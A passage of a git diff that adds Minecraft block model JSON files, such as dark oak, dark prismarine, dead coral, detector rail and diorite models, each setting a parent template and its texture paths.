"minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_gate_wall_open.json b/src/assets/minecraft/models/block/dark_oak_fence_gate_wall_open.json new file mode 100644 index 00000000..81181a3e --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_inventory.json b/src/assets/minecraft/models/block/dark_oak_fence_inventory.json new file mode 100644 index 00000000..34976cb6 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_post.json b/src/assets/minecraft/models/block/dark_oak_fence_post.json new file mode 100644 index 00000000..7ddb63e0 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_fence_side.json b/src/assets/minecraft/models/block/dark_oak_fence_side.json new file mode 100644 index 00000000..6db6293c --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_leaves.json b/src/assets/minecraft/models/block/dark_oak_leaves.json new file mode 100644 index 00000000..c5a0ee7c --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/dark_oak_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_log.json b/src/assets/minecraft/models/block/dark_oak_log.json new file mode 100644 index 00000000..0a875950 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/dark_oak_log_top", + "side": "minecraft:block/dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_log_horizontal.json b/src/assets/minecraft/models/block/dark_oak_log_horizontal.json new file mode 100644 index 00000000..044f4d5a --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/dark_oak_log_top", + "side": "minecraft:block/dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_planks.json b/src/assets/minecraft/models/block/dark_oak_planks.json new file mode 100644 index 00000000..443669e9 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_pressure_plate.json b/src/assets/minecraft/models/block/dark_oak_pressure_plate.json new file mode 100644 index 00000000..cae875a7 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_pressure_plate_down.json b/src/assets/minecraft/models/block/dark_oak_pressure_plate_down.json new file mode 100644 index 00000000..8effed63 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_sapling.json b/src/assets/minecraft/models/block/dark_oak_sapling.json new file mode 100644 index 00000000..bc9e9532 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dark_oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_sign.json b/src/assets/minecraft/models/block/dark_oak_sign.json new file mode 100644 index 00000000..52cfc99c --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_slab.json b/src/assets/minecraft/models/block/dark_oak_slab.json new file mode 100644 index 00000000..c3383dc2 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/dark_oak_planks", + "top": "minecraft:block/dark_oak_planks", + "side": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_slab_top.json b/src/assets/minecraft/models/block/dark_oak_slab_top.json new file mode 100644 index 00000000..dedc4150 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/dark_oak_planks", + "top": "minecraft:block/dark_oak_planks", + "side": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_stairs.json b/src/assets/minecraft/models/block/dark_oak_stairs.json new file mode 100644 index 00000000..7bbda053 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/dark_oak_planks", + "top": "minecraft:block/dark_oak_planks", + "side": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_stairs_inner.json b/src/assets/minecraft/models/block/dark_oak_stairs_inner.json new file mode 100644 index 00000000..40f6c6b1 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/dark_oak_planks", + "top": "minecraft:block/dark_oak_planks", + "side": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_stairs_outer.json b/src/assets/minecraft/models/block/dark_oak_stairs_outer.json new file mode 100644 index 00000000..6e9b4f90 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/dark_oak_planks", + "top": "minecraft:block/dark_oak_planks", + "side": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_trapdoor_bottom.json b/src/assets/minecraft/models/block/dark_oak_trapdoor_bottom.json new file mode 100644 index 00000000..332c78b6 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/dark_oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_trapdoor_open.json b/src/assets/minecraft/models/block/dark_oak_trapdoor_open.json new file mode 100644 index 00000000..911cfb10 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_open", + "textures": { + "texture": "minecraft:block/dark_oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_trapdoor_top.json b/src/assets/minecraft/models/block/dark_oak_trapdoor_top.json new file mode 100644 index 00000000..44233202 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_top", + "textures": { + "texture": "minecraft:block/dark_oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_oak_wood.json b/src/assets/minecraft/models/block/dark_oak_wood.json new file mode 100644 index 00000000..ac9cad05 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_oak_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/dark_oak_log", + "side": "minecraft:block/dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine.json b/src/assets/minecraft/models/block/dark_prismarine.json new file mode 100644 index 00000000..545193a6 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine_slab.json b/src/assets/minecraft/models/block/dark_prismarine_slab.json new file mode 100644 index 00000000..2a3ef1f1 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/dark_prismarine", + "top": "minecraft:block/dark_prismarine", + "side": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine_slab_top.json b/src/assets/minecraft/models/block/dark_prismarine_slab_top.json new file mode 100644 index 00000000..b9cc950f --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/dark_prismarine", + "top": "minecraft:block/dark_prismarine", + "side": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine_stairs.json b/src/assets/minecraft/models/block/dark_prismarine_stairs.json new file mode 100644 index 00000000..3505158e --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/dark_prismarine", + "top": "minecraft:block/dark_prismarine", + "side": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine_stairs_inner.json b/src/assets/minecraft/models/block/dark_prismarine_stairs_inner.json new file mode 100644 index 00000000..94ad8313 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/dark_prismarine", + "top": "minecraft:block/dark_prismarine", + "side": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dark_prismarine_stairs_outer.json b/src/assets/minecraft/models/block/dark_prismarine_stairs_outer.json new file mode 100644 index 00000000..2064c1d6 --- /dev/null +++ b/src/assets/minecraft/models/block/dark_prismarine_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/dark_prismarine", + "top": "minecraft:block/dark_prismarine", + "side": "minecraft:block/dark_prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/daylight_detector.json b/src/assets/minecraft/models/block/daylight_detector.json new file mode 100644 index 00000000..bbc0cced --- /dev/null +++ b/src/assets/minecraft/models/block/daylight_detector.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_daylight_detector", + "textures": { + "top": "minecraft:block/daylight_detector_top", + "side": "minecraft:block/daylight_detector_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/daylight_detector_inverted.json b/src/assets/minecraft/models/block/daylight_detector_inverted.json new file mode 100644 index 00000000..5ab891d7 --- /dev/null +++ b/src/assets/minecraft/models/block/daylight_detector_inverted.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_daylight_detector", + "textures": { + "top": "minecraft:block/daylight_detector_inverted_top", + "side": "minecraft:block/daylight_detector_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_brain_coral.json b/src/assets/minecraft/models/block/dead_brain_coral.json new file mode 100644 index 00000000..b6ddeefd --- /dev/null +++ b/src/assets/minecraft/models/block/dead_brain_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_brain_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_brain_coral_block.json b/src/assets/minecraft/models/block/dead_brain_coral_block.json new file mode 100644 index 00000000..d81ec753 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_brain_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dead_brain_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_brain_coral_fan.json b/src/assets/minecraft/models/block/dead_brain_coral_fan.json new file mode 100644 index 00000000..e9bc5a20 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_brain_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/dead_brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_brain_coral_wall_fan.json b/src/assets/minecraft/models/block/dead_brain_coral_wall_fan.json new file mode 100644 index 00000000..6c25874d --- /dev/null +++ b/src/assets/minecraft/models/block/dead_brain_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/dead_brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_bubble_coral.json b/src/assets/minecraft/models/block/dead_bubble_coral.json new file mode 100644 index 00000000..62708cfc --- /dev/null +++ b/src/assets/minecraft/models/block/dead_bubble_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_bubble_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_bubble_coral_block.json b/src/assets/minecraft/models/block/dead_bubble_coral_block.json new file mode 100644 index 00000000..53b47644 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_bubble_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dead_bubble_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_bubble_coral_fan.json b/src/assets/minecraft/models/block/dead_bubble_coral_fan.json new file mode 100644 index 00000000..4f104c5a --- /dev/null +++ b/src/assets/minecraft/models/block/dead_bubble_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/dead_bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_bubble_coral_wall_fan.json b/src/assets/minecraft/models/block/dead_bubble_coral_wall_fan.json new file mode 100644 index 00000000..e9f9688a --- /dev/null +++ b/src/assets/minecraft/models/block/dead_bubble_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/dead_bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_bush.json b/src/assets/minecraft/models/block/dead_bush.json new file mode 100644 index 00000000..01573a5c --- /dev/null +++ b/src/assets/minecraft/models/block/dead_bush.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_bush" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_fire_coral.json b/src/assets/minecraft/models/block/dead_fire_coral.json new file mode 100644 index 00000000..8121184a --- /dev/null +++ b/src/assets/minecraft/models/block/dead_fire_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_fire_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_fire_coral_block.json b/src/assets/minecraft/models/block/dead_fire_coral_block.json new file mode 100644 index 00000000..a49a17a2 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_fire_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dead_fire_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_fire_coral_fan.json b/src/assets/minecraft/models/block/dead_fire_coral_fan.json new file mode 100644 index 00000000..7eb4884d --- /dev/null +++ b/src/assets/minecraft/models/block/dead_fire_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/dead_fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_fire_coral_wall_fan.json b/src/assets/minecraft/models/block/dead_fire_coral_wall_fan.json new file mode 100644 index 00000000..62abee0b --- /dev/null +++ b/src/assets/minecraft/models/block/dead_fire_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/dead_fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_horn_coral.json b/src/assets/minecraft/models/block/dead_horn_coral.json new file mode 100644 index 00000000..ea1fb389 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_horn_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_horn_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_horn_coral_block.json b/src/assets/minecraft/models/block/dead_horn_coral_block.json new file mode 100644 index 00000000..6e6505d9 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_horn_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dead_horn_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_horn_coral_fan.json b/src/assets/minecraft/models/block/dead_horn_coral_fan.json new file mode 100644 index 00000000..0a14c1c6 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_horn_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/dead_horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_horn_coral_wall_fan.json b/src/assets/minecraft/models/block/dead_horn_coral_wall_fan.json new file mode 100644 index 00000000..e303e967 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_horn_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/dead_horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_sea_pickle.json b/src/assets/minecraft/models/block/dead_sea_pickle.json new file mode 100644 index 00000000..ce3ee6eb --- /dev/null +++ b/src/assets/minecraft/models/block/dead_sea_pickle.json @@ -0,0 +1,27 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 6, 0, 6 ], + "to": [ 10, 6, 10 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 6, 5.95, 6 ], + "to": [ 10, 5.95, 10 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + } + ] +} diff --git a/src/assets/minecraft/models/block/dead_tube_coral.json b/src/assets/minecraft/models/block/dead_tube_coral.json new file mode 100644 index 00000000..568dd7cb --- /dev/null +++ b/src/assets/minecraft/models/block/dead_tube_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/dead_tube_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_tube_coral_block.json b/src/assets/minecraft/models/block/dead_tube_coral_block.json new file mode 100644 index 00000000..7768abbf --- /dev/null +++ b/src/assets/minecraft/models/block/dead_tube_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dead_tube_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_tube_coral_fan.json b/src/assets/minecraft/models/block/dead_tube_coral_fan.json new file mode 100644 index 00000000..31080a1b --- /dev/null +++ b/src/assets/minecraft/models/block/dead_tube_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/dead_tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dead_tube_coral_wall_fan.json b/src/assets/minecraft/models/block/dead_tube_coral_wall_fan.json new file mode 100644 index 00000000..20dab6c1 --- /dev/null +++ b/src/assets/minecraft/models/block/dead_tube_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/dead_tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail.json b/src/assets/minecraft/models/block/detector_rail.json new file mode 100644 index 00000000..22b66826 --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/detector_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail_on.json b/src/assets/minecraft/models/block/detector_rail_on.json new file mode 100644 index 00000000..0cba22b8 --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail_on.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/detector_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail_on_raised_ne.json b/src/assets/minecraft/models/block/detector_rail_on_raised_ne.json new file mode 100644 index 00000000..fe6bd149 --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail_on_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/detector_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail_on_raised_sw.json b/src/assets/minecraft/models/block/detector_rail_on_raised_sw.json new file mode 100644 index 00000000..65615170 --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail_on_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/detector_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail_raised_ne.json b/src/assets/minecraft/models/block/detector_rail_raised_ne.json new file mode 100644 index 00000000..9128675b --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/detector_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/detector_rail_raised_sw.json b/src/assets/minecraft/models/block/detector_rail_raised_sw.json new file mode 100644 index 00000000..74ee588f --- /dev/null +++ b/src/assets/minecraft/models/block/detector_rail_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/detector_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diamond_block.json b/src/assets/minecraft/models/block/diamond_block.json new file mode 100644 index 00000000..a021068b --- /dev/null +++ b/src/assets/minecraft/models/block/diamond_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/diamond_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diamond_ore.json b/src/assets/minecraft/models/block/diamond_ore.json new file mode 100644 index 00000000..ca8480e5 --- /dev/null +++ b/src/assets/minecraft/models/block/diamond_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/diamond_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite.json b/src/assets/minecraft/models/block/diorite.json new file mode 100644 index 00000000..9f1f6eba --- /dev/null +++ b/src/assets/minecraft/models/block/diorite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_slab.json b/src/assets/minecraft/models/block/diorite_slab.json new file mode 100644 index 00000000..730d6734 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/diorite", + "top": "minecraft:block/diorite", + "side": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_slab_top.json b/src/assets/minecraft/models/block/diorite_slab_top.json new file mode 100644 index 00000000..42a274cf --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/diorite", + "top": "minecraft:block/diorite", + "side": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_stairs.json b/src/assets/minecraft/models/block/diorite_stairs.json new file mode 100644 index 00000000..198405b2 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/diorite", + "top": "minecraft:block/diorite", + "side": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_stairs_inner.json b/src/assets/minecraft/models/block/diorite_stairs_inner.json new file mode 100644 index 00000000..175e4793 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/diorite", + "top": "minecraft:block/diorite", + "side": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_stairs_outer.json b/src/assets/minecraft/models/block/diorite_stairs_outer.json new file mode 100644 index 00000000..5de40df5 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/diorite", + "top": "minecraft:block/diorite", + "side": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_wall_inventory.json b/src/assets/minecraft/models/block/diorite_wall_inventory.json new file mode 100644 index 00000000..9e364aa8 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_wall_post.json b/src/assets/minecraft/models/block/diorite_wall_post.json new file mode 100644 index 00000000..7f161101 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_wall_side.json b/src/assets/minecraft/models/block/diorite_wall_side.json new file mode 100644 index 00000000..633d2539 --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/diorite_wall_side_tall.json b/src/assets/minecraft/models/block/diorite_wall_side_tall.json new file mode 100644 index 00000000..0e5ea70f --- /dev/null +++ b/src/assets/minecraft/models/block/diorite_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dirt.json b/src/assets/minecraft/models/block/dirt.json new file mode 100644 index 00000000..04794138 --- /dev/null +++ b/src/assets/minecraft/models/block/dirt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/dirt" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dispenser.json b/src/assets/minecraft/models/block/dispenser.json new file mode 100644 index 00000000..d34ff2db --- /dev/null +++ b/src/assets/minecraft/models/block/dispenser.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/furnace_top", + "front": 